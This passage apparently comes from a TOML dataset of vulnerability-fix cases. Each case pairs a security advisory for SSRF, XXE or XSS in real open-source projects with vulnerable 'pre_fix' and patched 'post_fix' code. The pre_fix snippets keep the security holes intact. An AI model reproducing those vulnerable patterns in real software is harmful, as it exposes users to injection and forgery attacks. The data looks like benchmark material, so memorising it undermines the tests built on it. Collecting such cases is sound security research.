Ariadne Component Library up to 2.x. It has been classified as critical. Affected is an unknown function of the file src/url/Url.php. The manipulation leads to server-side request forgery. Upgrading to version 3.0 can address this issue. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-217140." +commit = "1feb1cc11e6c9f218408f15f53f537ea0d788656" +cwe = "CWE-918" +family = "untrusted_destination" +function = "__construct" +function_lines = [[39, 52]] +id = "ariadne-cms-arc-web-dedc841aa3fcd892" +language = "php" +method = "fix_site" +parent = "615c841a0cd1068758512cd218bab0f91f254b01" +path = "src/url/Url.php" +post_fix = " public function __construct($url, $queryObject = null)\n {\n $componentList = [\n 'scheme', 'host', 'port', 'user', 'pass', 'path', 'query', 'fragment'\n ];\n $this->importUrlComponents( parse_url( $url ), $componentList );\n if ($this->scheme!='ldap' && strpos($this->host, ':')) {\n // parse_url allows ':' in host when it occurs more than once\\\n $this->host = substr($this->host, 0, strpos($this->host, ':'));\n }\n if ( isset( $queryObject ) ) {\n $this->query = $queryObject->import( $this->query );\n }\n }\n\n /**\n * @return string\n */" +pre_fix = " public function __construct($url, $queryObject = null)\n {\n $componentList = [\n 'scheme', 'host', 'port', 'user', 'pass', 'path', 'query', 'fragment'\n ];\n $this->importUrlComponents( parse_url( $url ), $componentList );\n if ( isset( $queryObject ) ) {\n $this->query = $queryObject->import( $this->query );\n }\n }\n\n /**\n * @return string\n */" +repo = "ariadne-cms/arc-web" +url = "https://github.com/Ariadne-CMS/arc-web.git" + +[[case]] +advisory = "GHSA-h755-h99p-9ffv" +advisory_text = "XML External Entity Reference in weixin-java-tools\n\nAn issue was discovered in weixin-java-tools. There is an XXE vulnerability in the getXmlDoc method of the BaseWxPayResult.java file. NOTE: this issue exists because of an incomplete fix for CVE-2018-20318." +commit = "8ec61d1328f50e23cd14285a950ca57a088b32b2" +cwe = "CWE-611" +family = "untrusted_destination" +function = "initialValue" +function_lines = [[38, 52]] +id = "binarywang-wxjava-81c6bfb8c7d2780a" +language = "java" +method = "fix_site" +parent = "d6923f253733783f662c165d112a5561396557b7" +path = "weixin-java-common/src/main/java/me/chanjar/weixin/common/util/crypto/WxCryptUtil.java" +post_fix = " protected DocumentBuilder initialValue() {\n try {\n final DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();\n factory.setExpandEntityReferences(false);\n factory.setFeature(\"http://apache.org/xml/features/disallow-doctype-decl\", true);\n return factory.newDocumentBuilder();\n } catch (ParserConfigurationException exc) {\n throw new IllegalArgumentException(exc);\n }\n }\n };\n\n protected byte[] aesKey;\n protected String token;\n protected String appidOrCorpid;\n" +pre_fix = " protected DocumentBuilder initialValue() {\n try {\n final DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();\n factory.setExpandEntityReferences(false);\n return factory.newDocumentBuilder();\n } catch (ParserConfigurationException exc) {\n throw new IllegalArgumentException(exc);\n }\n }\n };\n\n protected byte[] aesKey;\n protected String token;\n protected String appidOrCorpid;\n" +repo = "binarywang/wxjava" +url = "https://github.com/binarywang/WxJava.git" + +[[case]] +advisory = "GHSA-h755-h99p-9ffv" +advisory_text = "XML External Entity Reference in weixin-java-tools\n\nAn issue was discovered in weixin-java-tools. There is an XXE vulnerability in the getXmlDoc method of the BaseWxPayResult.java file. NOTE: this issue exists because of an incomplete fix for CVE-2018-20318." +commit = "8ec61d1328f50e23cd14285a950ca57a088b32b2" +cwe = "CWE-611" +family = "untrusted_destination" +function = "getXmlDoc" +function_lines = [[184, 206]] +id = "binarywang-wxjava-bb0f4f6e3747df3f" +language = "java" +method = "fix_site" +parent = "d6923f253733783f662c165d112a5561396557b7" +path = "weixin-java-pay/src/main/java/com/github/binarywang/wxpay/bean/result/BaseWxPayResult.java" +post_fix = " private Document getXmlDoc() {\n if (this.xmlDoc != null) {\n return this.xmlDoc;\n }\n\n try {\n final DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();\n factory.setExpandEntityReferences(false);\n factory.setFeature(\"http://apache.org/xml/features/disallow-doctype-decl\", true);\n this.xmlDoc = factory.newDocumentBuilder()\n .parse(new ByteArrayInputStream(this.xmlString.getBytes(StandardCharsets.UTF_8)));\n return xmlDoc;\n } catch (Exception e) {\n throw new RuntimeException(\"非法的xml文本内容:\\n\" + this.xmlString, e);\n }\n\n }\n\n /**\n * 获取xml中元素的值.\n *\n * @param path the path\n * @return the xml value\n */" +pre_fix = " private Document getXmlDoc() {\n if (this.xmlDoc != null) {\n return this.xmlDoc;\n }\n\n try {\n final DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();\n factory.setExpandEntityReferences(false);\n this.xmlDoc = factory.newDocumentBuilder()\n .parse(new ByteArrayInputStream(this.xmlString.getBytes(StandardCharsets.UTF_8)));\n return xmlDoc;\n } catch (Exception e) {\n throw new RuntimeException(\"非法的xml文本内容:\\n\" + this.xmlString, e);\n }\n\n }\n\n /**\n * 获取xml中元素的值.\n *\n * @param path the path\n * @return the xml value\n */" +repo = "binarywang/wxjava" +url = "https://github.com/binarywang/WxJava.git" + +[[case]] +advisory = "GHSA-c7pp-x73h-4m2v" +advisory_text = "Cross-Site Scripting in bootstrap-vue\n\nVersions of `bootstrap-vue` prior to 2.0.0-rc.12 are vulnerable to Cross-Site Scripting. Due to insufficient input sanitization, components may be vulnerable to Cross-Site Scripting through the `options` variable. This may lead to the execution of malicious JavaScript on the user's browser.\n\n\n## Recommendation\n\nUpgrade to version 2.0.0-rc.12 or later." +commit = "ba6f3f8359e257589d744f180312c09bf9f12289" +cwe = "CWE-79" +family = "output_encoding" +function = "render" +function_lines = [[102, 123]] +id = "bootstrap-vue-bootstrap-vue-07356b6e97b97bc0" +language = "javascript" +method = "fix_site" +parent = "afe1cd06091eb531fd24e31fc58f22e4925b0fc3" +path = "src/components/table/table.js" +post_fix = " render (h) {\n const $slots = this.$slots\n const $scoped = this.$scopedSlots\n const fields = this.computedFields\n const items = this.computedItems\n\n // Build the caption\n let caption = h(false)\n if (this.caption || $slots['table-caption']) {\n const data = { style: this.captionStyles }\n if (!$slots['table-caption']) {\n data.domProps = { innerHTML: stripScripts(this.caption) }\n }\n caption = h('caption', data, $slots['table-caption'])\n }\n\n // Build the colgroup\n const colgroup = $slots['table-colgroup']\n ? h('colgroup', {}, $slots['table-colgroup'])\n : h(false)\n\n // factory function for thead and tfoot cells (th's)" +pre_fix = " render (h) {\n const $slots = this.$slots\n const $scoped = this.$scopedSlots\n const fields = this.computedFields\n const items = this.computedItems\n\n // Build the caption\n let caption = h(false)\n if (this.caption || $slots['table-caption']) {\n const data = { style: this.captionStyles }\n if (!$slots['table-caption']) {\n data.domProps = { innerHTML: this.caption }\n }\n caption = h('caption', data, $slots['table-caption'])\n }\n\n // Build the colgroup\n const colgroup = $slots['table-colgroup']\n ? h('colgroup', {}, $slots['table-colgroup'])\n : h(false)\n\n // factory function for thead and tfoot cells (th's)" +repo = "bootstrap-vue/bootstrap-vue" +url = "https://github.com/bootstrap-vue/bootstrap-vue.git" + +[[case]] +advisory = "GHSA-c7pp-x73h-4m2v" +advisory_text = "Cross-Site Scripting in bootstrap-vue\n\nVersions of `bootstrap-vue` prior to 2.0.0-rc.12 are vulnerable to Cross-Site Scripting. Due to insufficient input sanitization, components may be vulnerable to Cross-Site Scripting through the `options` variable. This may lead to the execution of malicious JavaScript on the user's browser.\n\n\n## Recommendation\n\nUpgrade to version 2.0.0-rc.12 or later." +commit = "ba6f3f8359e257589d744f180312c09bf9f12289" +cwe = "CWE-79" +family = "output_encoding" +function = "makeEllipsis" +function_lines = [[173, 304]] +id = "bootstrap-vue-bootstrap-vue-28832e100e7f287c" +language = "javascript" +method = "fix_site" +parent = "afe1cd06091eb531fd24e31fc58f22e4925b0fc3" +path = "src/mixins/pagination.js" +post_fix = " const makeEllipsis = () => {\n return h(\n 'li',\n {\n class: ['page-item', 'disabled', 'd-none', 'd-sm-flex'],\n attrs: { role: 'separator' }\n },\n [\n this.$slots['ellipsis-text'] ||\n h('span', {\n class: ['page-link'],\n domProps: { innerHTML: stripScripts(this.ellipsisText) }\n })\n ]\n )\n }\n\n // Goto First Page button\n buttons.push(\n this.hideGotoEndButtons\n ? h(false)\n : makeEndBtns(1, this.labelFirstPage, this.$slots['first-text'] || stripScripts(this.firstText))\n )\n\n // Goto Previous page button\n buttons.push(makeEndBtns(this.currentPage - 1, this.labelPrevPage, this.$slots['prev-text'] || this.prevText, 1))\n\n // First Ellipsis Bookend\n buttons.push(this.showFirstDots ? makeEllipsis() : h(false))\n\n // Individual Page links\n this.pageList.forEach(page => {\n let inner\n let pageNum = stripScripts(this.makePage(page.number))\n if (this.disabled) {\n inner = h('span', {\n class: ['page-link'],\n domProps: { innerHTML: pageNum }\n })\n } else {\n const active = this.isActive(page.number)\n inner = h('b-link', {\n class: this.pageLinkClasses(page),\n props: this.linkProps(page.number),\n attrs: {\n role: 'menuitemradio',\n tabindex: active ? '0' : '-1',\n 'aria-controls': this.ariaControls || null,\n 'aria-label': `${this.labelPage} ${page.number}`,\n 'aria-checked': active ? 'true' : 'false',\n 'aria-posinset': page.number,\n 'aria-setsize': this.numberOfPages\n },\n domProps: { innerHTML: pageNum },\n on: {\n click: evt => {\n this.onClick(page.number, evt)\n },\n keydown: evt => {\n if (evt.keyCode === KeyCodes.SPACE) {\n evt.preventDefault()\n this.onClick(page.number, evt)\n }\n }\n }\n })\n }\n buttons.push(\n h(\n 'li',\n {\n key: page.number,\n class: this.pageItemClasses(page),\n attrs: { role: 'none presentation' }\n },\n [inner]\n )\n )\n })\n\n // Last Ellipsis Bookend\n buttons.push(this.showLastDots ? makeEllipsis() : h(false))\n\n // Goto Next page button\n buttons.push(\n makeEndBtns(\n this.currentPage + 1,\n this.labelNextPage,\n this.$slots['next-text'] || this.nextText,\n this.numberOfPages\n )\n )\n\n // Goto Last Page button\n buttons.push(\n this.hideGotoEndButtons\n ? h(false)\n : makeEndBtns(this.numberOfPages, this.labelLastPage, this.$slots['last-text'] || this.lastText)\n )\n\n // Assemble the paginatiom buttons\n const pagination = h(\n 'ul',\n {\n ref: 'ul',\n class: ['pagination', 'b-pagination', this.btnSize, this.alignment],\n attrs: {\n role: 'menubar',\n 'aria-disabled': this.disabled ? 'true' : 'false',\n 'aria-label': this.ariaLabel || null\n },\n on: {\n keydown: evt => {\n const keyCode = evt.keyCode\n const shift = evt.shiftKey\n if (keyCode === KeyCodes.LEFT) {\n evt.preventDefault()\n shift ? this.focusFirst() : this.focusPrev()\n } else if (keyCode === KeyCodes.RIGHT) {\n evt.preventDefault()\n shift ? this.focusLast() : this.focusNext()\n }\n }\n }\n },\n buttons\n )\n\n // if we are pagination-nav, wrap in '